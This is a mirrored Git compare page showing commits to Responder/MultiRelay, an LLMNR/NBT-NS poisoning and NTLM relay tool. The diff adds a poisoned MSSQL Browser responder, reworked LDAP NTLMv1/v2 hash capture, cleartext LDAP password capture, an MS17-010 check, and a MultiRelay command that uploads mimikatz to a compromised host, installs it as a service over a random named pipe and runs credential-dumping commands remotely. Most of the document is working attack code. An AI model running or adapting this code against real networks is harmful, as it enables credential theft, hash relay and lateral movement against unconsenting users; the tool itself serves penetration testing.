mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-07 13:11:29 +00:00
Compare commits
12 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
679cf65cff | ||
|
|
be26b504b5 | ||
|
|
75aa21bbb9 | ||
|
|
ffca0e2a92 | ||
|
|
33bde41902 | ||
|
|
95c0d6e673 | ||
|
|
0436b47a2c | ||
|
|
5859c31e8e | ||
|
|
bc90f8fe27 | ||
|
|
bff935e71e | ||
|
|
38219e249e | ||
|
|
2223ef6689 |
22
README.md
22
README.md
@@ -1,6 +1,6 @@
|
|||||||
# Responder.py #
|
# Responder/MultiRelay #
|
||||||
|
|
||||||
LLMNR/NBT-NS/mDNS Poisoner
|
LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
|
||||||
|
|
||||||
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
|
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
|
||||||
|
|
||||||
@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
|
|||||||
|
|
||||||
## Considerations ##
|
## Considerations ##
|
||||||
|
|
||||||
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
|
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
|
||||||
|
|
||||||
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
|
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
|
||||||
|
|
||||||
@@ -169,6 +169,22 @@ You can contribute to this project by donating to the following BTC address:
|
|||||||
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
|
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
|
||||||
|
|
||||||
|
|
||||||
|
## Acknowledgments ##
|
||||||
|
|
||||||
|
Late Responder development has been possible because of the donations received from individuals and companies.
|
||||||
|
|
||||||
|
We would like to thanks those major donator:
|
||||||
|
|
||||||
|
- SecureWorks : https://www.secureworks.com/
|
||||||
|
|
||||||
|
- Black Hills Information Security: http://www.blackhillsinfosec.com/
|
||||||
|
|
||||||
|
- TrustedSec: https://www.trustedsec.com/
|
||||||
|
|
||||||
|
- And all, ALL the pentesters around the world who donated to this project.
|
||||||
|
|
||||||
|
Thank you.
|
||||||
|
|
||||||
## Copyright ##
|
## Copyright ##
|
||||||
|
|
||||||
NBT-NS/LLMNR Responder
|
NBT-NS/LLMNR Responder
|
||||||
|
|||||||
@@ -268,8 +268,9 @@ def main():
|
|||||||
threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
|
threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
|
||||||
|
|
||||||
if settings.Config.SQL_On_Off:
|
if settings.Config.SQL_On_Off:
|
||||||
from servers.MSSQL import MSSQL
|
from servers.MSSQL import MSSQL, MSSQLBrowser
|
||||||
threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
|
threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
|
||||||
|
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 1434, MSSQLBrowser,)))
|
||||||
|
|
||||||
if settings.Config.FTP_On_Off:
|
if settings.Config.FTP_On_Off:
|
||||||
from servers.FTP import FTP
|
from servers.FTP import FTP
|
||||||
|
|||||||
@@ -27,34 +27,50 @@ def ParseSearch(data):
|
|||||||
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||||
|
|
||||||
def ParseLDAPHash(data, client):
|
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
||||||
SSPIStart = data[42:]
|
SSPIStart = data.find('NTLMSSP')
|
||||||
LMhashLen = struct.unpack('<H',data[54:56])[0]
|
SSPIString = data[SSPIStart:]
|
||||||
|
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||||
|
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
||||||
|
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||||
|
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
||||||
|
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
||||||
|
|
||||||
if LMhashLen > 10:
|
if NthashLen == 24:
|
||||||
LMhashOffset = struct.unpack('<H',data[58:60])[0]
|
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||||
|
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||||
NthashLen = struct.unpack('<H',data[64:66])[0]
|
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||||
NthashOffset = struct.unpack('<H',data[66:68])[0]
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||||
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||||
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
DomainLen = struct.unpack('<H',data[72:74])[0]
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
|
||||||
DomainOffset = struct.unpack('<H',data[74:76])[0]
|
|
||||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
|
||||||
|
|
||||||
UserLen = struct.unpack('<H',data[80:82])[0]
|
|
||||||
UserOffset = struct.unpack('<H',data[82:84])[0]
|
|
||||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
|
||||||
|
|
||||||
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + Challenge.encode('hex')
|
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'LDAP',
|
'module': 'LDAP',
|
||||||
'type': 'NTLMv1',
|
'type': 'NTLMv1-SSP',
|
||||||
'client': client,
|
'client': client,
|
||||||
'user': Domain+'\\'+User,
|
'user': Domain+'\\'+Username,
|
||||||
'hash': NtHash,
|
'hash': SMBHash,
|
||||||
|
'fullhash': WriteHash,
|
||||||
|
})
|
||||||
|
|
||||||
|
if NthashLen > 60:
|
||||||
|
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||||
|
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||||
|
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||||
|
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||||
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||||
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||||
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
|
||||||
|
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'LDAP',
|
||||||
|
'type': 'NTLMv2',
|
||||||
|
'client': client,
|
||||||
|
'user': Domain+'\\'+Username,
|
||||||
|
'hash': SMBHash,
|
||||||
'fullhash': WriteHash,
|
'fullhash': WriteHash,
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -67,7 +83,7 @@ def ParseNTLM(data,client, Challenge):
|
|||||||
NTLMChall.calculate()
|
NTLMChall.calculate()
|
||||||
return str(NTLMChall)
|
return str(NTLMChall)
|
||||||
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
||||||
ParseLDAPHash(data,client)
|
ParseLDAPHash(data, client, Challenge)
|
||||||
|
|
||||||
def ParseLDAPPacket(data, client, Challenge):
|
def ParseLDAPPacket(data, client, Challenge):
|
||||||
if data[1:2] == '\x84':
|
if data[1:2] == '\x84':
|
||||||
@@ -102,19 +118,37 @@ def ParseLDAPPacket(data, client, Challenge):
|
|||||||
elif Operation == "\x63":
|
elif Operation == "\x63":
|
||||||
Buffer = ParseSearch(data)
|
Buffer = ParseSearch(data)
|
||||||
return Buffer
|
return Buffer
|
||||||
|
|
||||||
elif settings.Config.Verbose:
|
elif settings.Config.Verbose:
|
||||||
print text('[LDAP] Operation not supported')
|
print text('[LDAP] Operation not supported')
|
||||||
|
|
||||||
|
if data[5:6] == '\x60':
|
||||||
|
UserLen = struct.unpack("<b",data[11:12])[0]
|
||||||
|
UserString = data[12:12+UserLen]
|
||||||
|
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
|
||||||
|
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen]
|
||||||
|
if settings.Config.Verbose:
|
||||||
|
print text('[LDAP] Attempting to parse an old simple Bind request.')
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'LDAP',
|
||||||
|
'type': 'Cleartext',
|
||||||
|
'client': client,
|
||||||
|
'user': UserString,
|
||||||
|
'cleartext': PassStr,
|
||||||
|
'fullhash': UserString+':'+PassStr,
|
||||||
|
})
|
||||||
|
|
||||||
class LDAP(BaseRequestHandler):
|
class LDAP(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
while True:
|
self.request.settimeout(0.4)
|
||||||
self.request.settimeout(0.5)
|
|
||||||
data = self.request.recv(8092)
|
data = self.request.recv(8092)
|
||||||
Challenge = RandomChallenge()
|
Challenge = RandomChallenge()
|
||||||
|
for x in range(5):
|
||||||
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
|
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
|
||||||
|
|
||||||
if Buffer:
|
if Buffer:
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
except socket.timeout:
|
data = self.request.recv(8092)
|
||||||
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|||||||
@@ -17,6 +17,7 @@
|
|||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
||||||
from utils import *
|
from utils import *
|
||||||
|
import random
|
||||||
import struct
|
import struct
|
||||||
|
|
||||||
class TDS_Login_Packet:
|
class TDS_Login_Packet:
|
||||||
@@ -119,14 +120,11 @@ def ParseClearTextSQLPass(data, client):
|
|||||||
# MSSQL Server class
|
# MSSQL Server class
|
||||||
class MSSQL(BaseRequestHandler):
|
class MSSQL(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
if settings.Config.Verbose:
|
|
||||||
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
while True:
|
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
self.request.settimeout(0.1)
|
if settings.Config.Verbose:
|
||||||
Challenge = RandomChallenge()
|
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
||||||
|
|
||||||
if data[0] == "\x12": # Pre-Login Message
|
if data[0] == "\x12": # Pre-Login Message
|
||||||
Buffer = str(MSSQLPreLoginAnswer())
|
Buffer = str(MSSQLPreLoginAnswer())
|
||||||
@@ -135,6 +133,7 @@ class MSSQL(BaseRequestHandler):
|
|||||||
|
|
||||||
if data[0] == "\x10": # NegoSSP
|
if data[0] == "\x10": # NegoSSP
|
||||||
if re.search("NTLMSSP",data):
|
if re.search("NTLMSSP",data):
|
||||||
|
Challenge = RandomChallenge()
|
||||||
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
|
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
|
||||||
Packet.calculate()
|
Packet.calculate()
|
||||||
Buffer = str(Packet)
|
Buffer = str(Packet)
|
||||||
@@ -144,8 +143,36 @@ class MSSQL(BaseRequestHandler):
|
|||||||
ParseClearTextSQLPass(data,self.client_address[0])
|
ParseClearTextSQLPass(data,self.client_address[0])
|
||||||
|
|
||||||
if data[0] == "\x11": # NegoSSP Auth
|
if data[0] == "\x11": # NegoSSP Auth
|
||||||
ParseSQLHash(data,self.client_address[0])
|
ParseSQLHash(data,self.client_address[0],Challenge)
|
||||||
|
|
||||||
except:
|
except:
|
||||||
self.request.close()
|
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
# MSSQL Server Browser class
|
||||||
|
# See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx
|
||||||
|
class MSSQLBrowser(BaseRequestHandler):
|
||||||
|
def handle(self):
|
||||||
|
if settings.Config.Verbose:
|
||||||
|
print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0])
|
||||||
|
|
||||||
|
data, soc = self.request
|
||||||
|
|
||||||
|
if data:
|
||||||
|
if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX
|
||||||
|
self.send_response(soc, "MSSQLSERVER")
|
||||||
|
elif data[0] == "\x04": # CLNT_UCAST_INST
|
||||||
|
self.send_response(soc, data[1:].rstrip("\x00"))
|
||||||
|
elif data[0] == "\x0F": # CLNT_UCAST_DAC
|
||||||
|
self.send_dac_response(soc)
|
||||||
|
|
||||||
|
def send_response(self, soc, inst):
|
||||||
|
print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0])
|
||||||
|
|
||||||
|
server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
|
||||||
|
resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
|
||||||
|
soc.sendto(struct.pack("<BH", 0x05, len(resp)) + resp, self.client_address)
|
||||||
|
|
||||||
|
def send_dac_response(self, soc):
|
||||||
|
print text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0])
|
||||||
|
|
||||||
|
soc.sendto(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433), self.client_address)
|
||||||
|
|||||||
0
tools/DHCP_Auto.sh
Normal file → Executable file
0
tools/DHCP_Auto.sh
Normal file → Executable file
@@ -33,8 +33,12 @@ def GetBootTime(data):
|
|||||||
def IsDCVuln(t):
|
def IsDCVuln(t):
|
||||||
Date = datetime.datetime(2014, 11, 17, 0, 30)
|
Date = datetime.datetime(2014, 11, 17, 0, 30)
|
||||||
if t[0] < Date:
|
if t[0] < Date:
|
||||||
print "DC is up since:", t[1]
|
print "System is up since:", t[1]
|
||||||
print "This DC is vulnerable to MS14-068"
|
print "This system may be vulnerable to MS14-068"
|
||||||
|
Date = datetime.datetime(2017, 03, 14, 0, 30)
|
||||||
|
if t[0] < Date:
|
||||||
|
print "System is up since:", t[1]
|
||||||
|
print "This system may be vulnerable to MS17-010"
|
||||||
print "DC is up since:", t[1]
|
print "DC is up since:", t[1]
|
||||||
|
|
||||||
|
|
||||||
@@ -63,6 +67,6 @@ def run(host):
|
|||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
if len(sys.argv)<=1:
|
if len(sys.argv)<=1:
|
||||||
sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address')
|
sys.exit('Usage: python '+sys.argv[0]+' System-IP-address')
|
||||||
host = sys.argv[1],445
|
host = sys.argv[1],445
|
||||||
run(host)
|
run(host)
|
||||||
|
|||||||
@@ -46,6 +46,7 @@ __version__ = "2.0"
|
|||||||
|
|
||||||
|
|
||||||
MimikatzFilename = "./MultiRelay/bin/mimikatz.exe"
|
MimikatzFilename = "./MultiRelay/bin/mimikatz.exe"
|
||||||
|
Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
|
||||||
RunAsFileName = "./MultiRelay/bin/Runas.exe"
|
RunAsFileName = "./MultiRelay/bin/Runas.exe"
|
||||||
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
|
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
|
||||||
|
|
||||||
@@ -130,7 +131,8 @@ def ShowHelp():
|
|||||||
print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)'
|
print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)'
|
||||||
print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to'
|
print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to'
|
||||||
print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)'
|
print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)'
|
||||||
print color('mimi command',8,1)+' -> Run a remote Mimikatz command (eg: mimi coffee)'
|
print color('mimi command',8,1)+' -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)'
|
||||||
|
print color('mimi32 command',8,1)+' -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)'
|
||||||
print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)'
|
print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)'
|
||||||
print color('help',8,1)+' -> Print this message.'
|
print color('help',8,1)+' -> Print this message.'
|
||||||
print color('exit',8,1)+' -> Exit this shell and return in relay mode.'
|
print color('exit',8,1)+' -> Exit this shell and return in relay mode.'
|
||||||
@@ -574,6 +576,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
|
|||||||
else:
|
else:
|
||||||
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
|
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
|
||||||
ShowHelp()
|
ShowHelp()
|
||||||
|
Logs.info("Client:"+clientIP+", "+Domain+"\\"+Username+" --> Target: "+Target[0]+" -> Shell acquired")
|
||||||
print color('Connected to %s as LocalSystem.'%(Target[0]),2,1)
|
print color('Connected to %s as LocalSystem.'%(Target[0]),2,1)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
@@ -608,6 +611,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
|
|||||||
RunAs = re.findall('^runas (.*)$', Cmd[0])
|
RunAs = re.findall('^runas (.*)$', Cmd[0])
|
||||||
LCmd = re.findall('^lcmd (.*)$', Cmd[0])
|
LCmd = re.findall('^lcmd (.*)$', Cmd[0])
|
||||||
Mimi = re.findall('^mimi (.*)$', Cmd[0])
|
Mimi = re.findall('^mimi (.*)$', Cmd[0])
|
||||||
|
Mimi32 = re.findall('^mimi32 (.*)$', Cmd[0])
|
||||||
Scan = re.findall('^scan (.*)$', Cmd[0])
|
Scan = re.findall('^scan (.*)$', Cmd[0])
|
||||||
Pivot = re.findall('^pivot (.*)$', Cmd[0])
|
Pivot = re.findall('^pivot (.*)$', Cmd[0])
|
||||||
Help = re.findall('^help', Cmd[0])
|
Help = re.findall('^help', Cmd[0])
|
||||||
@@ -684,6 +688,18 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
|
|||||||
print MimikatzFilename+" does not exist, please specify a valid file."
|
print MimikatzFilename+" does not exist, please specify a valid file."
|
||||||
del Cmd[:]
|
del Cmd[:]
|
||||||
|
|
||||||
|
if Mimi32:
|
||||||
|
if os.path.isfile(Mimikatzx86Filename):
|
||||||
|
FileSize, FileContent = UploadContent(Mimikatzx86Filename)
|
||||||
|
FileName = os.path.basename(Mimikatzx86Filename)
|
||||||
|
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
|
||||||
|
Exec = Mimi32[0]
|
||||||
|
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
|
||||||
|
del Cmd[:]
|
||||||
|
else:
|
||||||
|
print Mimikatzx86Filename+" does not exist, please specify a valid file."
|
||||||
|
del Cmd[:]
|
||||||
|
|
||||||
if Pivot:
|
if Pivot:
|
||||||
if Pivot[0] == Target[0]:
|
if Pivot[0] == Target[0]:
|
||||||
print "[Pivot Verification Failed]: You're already on this host. No need to pivot."
|
print "[Pivot Verification Failed]: You're already on this host. No need to pivot."
|
||||||
|
|||||||
@@ -19,9 +19,11 @@ import sys
|
|||||||
import random
|
import random
|
||||||
import time
|
import time
|
||||||
import os
|
import os
|
||||||
|
import binascii
|
||||||
import re
|
import re
|
||||||
import datetime
|
import datetime
|
||||||
import threading
|
import threading
|
||||||
|
import uuid
|
||||||
from RelayMultiPackets import *
|
from RelayMultiPackets import *
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
from base64 import b64decode, b64encode
|
from base64 import b64decode, b64encode
|
||||||
@@ -371,6 +373,16 @@ def GenerateServiceName():
|
|||||||
def GenerateServiceID():
|
def GenerateServiceID():
|
||||||
return''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
|
return''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
|
||||||
|
|
||||||
|
def GenerateNamedPipeName():
|
||||||
|
return''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(random.randint(3, 30))])
|
||||||
|
|
||||||
|
def Generateuuid():
|
||||||
|
RandomStr = binascii.b2a_hex(os.urandom(16))
|
||||||
|
x = uuid.UUID(bytes_le=RandomStr.decode('hex'))
|
||||||
|
DisplayGUID = uuid.UUID(RandomStr)
|
||||||
|
DisplayGUIDle = x.bytes
|
||||||
|
return str(DisplayGUID), str(DisplayGUIDle)
|
||||||
|
|
||||||
###
|
###
|
||||||
#SMBRelay grab
|
#SMBRelay grab
|
||||||
###
|
###
|
||||||
@@ -542,7 +554,7 @@ def MimiKatzRPC(Command, f, host, data, s):
|
|||||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
w = SMBDCEMimiKatzRPCCommand(CMD=Command)
|
w = SMBDCEMimiKatzRPCCommand(CMD=Command)
|
||||||
w.calculate()
|
w.calculate()
|
||||||
x = SMBDCEPacketData(Data=w, Opnum="\x00\x00")
|
x = SMBDCEPacketData(Data=w, Opnum="\x03\x00")
|
||||||
x.calculate()
|
x.calculate()
|
||||||
t = SMBDCERPCWriteData(FID=f,Data=x)
|
t = SMBDCERPCWriteData(FID=f,Data=x)
|
||||||
t.calculate()
|
t.calculate()
|
||||||
@@ -1925,10 +1937,12 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi
|
|||||||
global MimiKatzSVCID
|
global MimiKatzSVCID
|
||||||
global MimiKatzSVCName
|
global MimiKatzSVCName
|
||||||
try:
|
try:
|
||||||
|
DisplayGUID, DisplayGUIDle = Generateuuid()
|
||||||
|
NamedPipe = GenerateNamedPipeName()
|
||||||
RandomFName = GenerateRandomFileName()
|
RandomFName = GenerateRandomFileName()
|
||||||
WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt"
|
WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt"
|
||||||
#Install mimikatz as a service.
|
#Install mimikatz as a service.
|
||||||
Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\wtf /noreg\" service::me exit"
|
Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\\"+NamedPipe+" /guid:{"+DisplayGUID+"} /noreg\" service::me exit"
|
||||||
MimiKatzSVCName = GenerateServiceName()
|
MimiKatzSVCName = GenerateServiceName()
|
||||||
MimiKatzSVCID = GenerateServiceID()
|
MimiKatzSVCID = GenerateServiceID()
|
||||||
|
|
||||||
@@ -1940,7 +1954,7 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi
|
|||||||
Logs.info('Command executed:')
|
Logs.info('Command executed:')
|
||||||
Logs.info(clientIP+","+Username+','+Command)
|
Logs.info(clientIP+","+Username+','+Command)
|
||||||
|
|
||||||
return data
|
return data, DisplayGUIDle, NamedPipe
|
||||||
|
|
||||||
except:
|
except:
|
||||||
#Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works.
|
#Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works.
|
||||||
@@ -1949,11 +1963,12 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi
|
|||||||
|
|
||||||
def RunMimiCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName):
|
def RunMimiCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName):
|
||||||
try:
|
try:
|
||||||
InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName)
|
data,guid,namedpipe = InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName)
|
||||||
data,s = SMBOpenPipe(Host, data, s)
|
data,s = SMBOpenPipe(Host, data, s)
|
||||||
##Wait for the pipe to come up..
|
##Wait for the pipe to come up..
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
data,s,f = BindCall("\xe9\x11\xfc\x17\x58\xc2\x8d\x4b\x8d\x07\x2f\x41\x25\x15\x62\x44", "\x01\x00", "\\wtf", data, s)
|
|
||||||
|
data,s,f = BindCall(guid, "\x01\x00", "\\"+namedpipe, data, s)
|
||||||
data,s,f = MimiKatzRPC(Command, f, Host, data, s)
|
data,s,f = MimiKatzRPC(Command, f, Host, data, s)
|
||||||
data,s = SMBDCERPCCloseFID(f, data,s)
|
data,s = SMBDCERPCCloseFID(f, data,s)
|
||||||
#####
|
#####
|
||||||
@@ -1972,7 +1987,7 @@ def RunMimiCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileNam
|
|||||||
return ModifySMBRetCode(data)
|
return ModifySMBRetCode(data)
|
||||||
except:
|
except:
|
||||||
#Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works.
|
#Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works.
|
||||||
print "[+] Something went wrong while calling mimikatz. Did you run install mimi before launching this command?"
|
print "[+] Something went wrong while calling mimikatz. Maybe it's a 32bits system? Try mimi32."
|
||||||
return ModifySMBRetCode(data)
|
return ModifySMBRetCode(data)
|
||||||
|
|
||||||
##########Pivot#############
|
##########Pivot#############
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user